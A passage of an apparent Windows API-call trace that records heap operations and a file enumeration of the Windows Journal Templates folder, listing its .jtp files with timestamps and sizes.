BaseAddress=0x11fe6e0) returned 1 [0080.201] NtClose (Handle=0x164) returned 0x0 [0080.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0080.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.201] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.203] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.203] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0080.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4130 [0080.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd2d0 [0080.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.205] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0080.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4150 [0080.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd358 [0080.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0080.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4170 [0080.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd3e0 [0080.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.207] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0080.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4190 [0080.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd468 [0080.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.208] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0080.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f41b0 [0080.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd4f0 [0080.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.209] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0080.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f41d0 [0080.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd578 [0080.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.210] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0080.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f41f0 [0080.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd600 [0080.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.211] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0080.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4210 [0080.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd688 [0080.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0080.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4230 [0080.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd710 [0080.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.214] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0080.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4250 [0080.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd798 [0080.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.215] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0080.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4270 [0080.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fd820 [0080.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0080.216] GetLastError () returned 0x12 [0080.216] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.216] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0080.216] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0080.217] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0080.217] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0080.217] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0080.217] GetLastError () returned 0x12 [0080.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.217] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.218] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0080.218] GetLastError () returned 0x12 [0080.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.218] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.219] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0ef36f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ef36f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0080.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program 